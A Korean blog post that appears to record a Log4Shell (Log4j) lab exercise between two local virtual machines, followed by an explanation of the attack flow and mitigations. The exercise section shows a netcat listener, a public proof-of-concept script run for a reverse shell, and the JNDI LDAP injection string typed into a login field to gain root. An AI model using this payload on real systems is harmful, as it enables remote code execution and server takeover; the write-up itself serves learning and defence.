log4j 실습

yeong-min·2023년 6월 25일
0

실습 과정

ifconfig명령어를이용하여 취약서버의 ip주소를 알아냅니다

  • IP주소 : 192.168.23.130

루트권한을 획득 후 Docker 환경을 실행합니다

취약서버 웹 브라우저에서 localhost:8080 경로로 접근하고 대기합니다.
공격자 서버로 와서 ifconfig 를 통해 공격자의 ip 를 알아냅니다.

  • IP : 192.168.23.129
    Sudo 로 루트권한을 얻은 후, Listen 모드로 local port 9001 번을 오픈합니다.
  1. 새로운 터미널을 오픈하고 Log4j-shell-poc 가 있는 곳으로 이동합니다.
  2. 파이썬을 활용하여 poc.py 를 실행합니다.
    python3 poc.py –userip localhost –webport 8000 –lport 9001
    userip = userip
    webport = 웹 접속을 위한 포트번호
    lport = reverse shell 이 대기하고 있는 포트번호
  3. Setting up LDAP server 를 보면 LDAP 서버가 동작하는 것을 볼 수
    있습니다.
    공격자의 준비된 전체 화면 입니다.
  • 왼쪽 위 터미널을 보면 LDAP 서버가 실행중입니다.
  • 오른쪽 위 터미널을 보면 NC 포트가 리스닝 상태로 대기합니다.
  • 취약 서버의 웹페이지로 접근합니다.
    웹페이지 ID 입력창에
    ${jndi:ldap://공격자의 ip 주소:1389/a}를 치면 LDAP 와 nc port 가
    연결됩니다.
    Id 명령어로 확인해보니 취약서버의 루트권한을 가져왔습니다
  1. id 명령어로 루트권한을 확인
  2. ip addr 로 공격자의 ip 가 취약서버의 ip 와 일치하는 것을 볼 수
    있습니다

공격이 이루어지는 과정

  1. 해커는 자신의 악성 LDAP server 를 호출할 수 있는 정보를
    포함한 코드를 전달.
  2. 취약 서버는 그 코드를 로그로 출력합니다
  3. Log4j 의 lookup 기능으로 인해 자동으로 ${jndi:..}를
    확인하고 자동으로 ldap:악성 LDAPserver 요청
  4. 악성 서버는 악성 명령어를 보냄
  5. 명령어를 받은 취약 서버는 악성 명령어를 실행

Log4j 공격을 방어하기 위한 방법

  1. JndiLookup 클래스를 제거:
    ⚫ # zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    ⚫ PatternLayout 에 들어가서 {ctx:loginId} or ${ctx:loginId} 을 제거 or (%X, %mdc, or %MDC) 변경
  2. 로그 메시지가 런타임에 동적으로 형식화 되지 않도록 한다.
    ⚫ system property의 log4j2.formatMsgNoLookups 값을 true로 변경
    ⚫ 환경 변수의 LOG4J_FORMAT_MSG_LOOKUPS 값을 true로 변경

0개의 댓글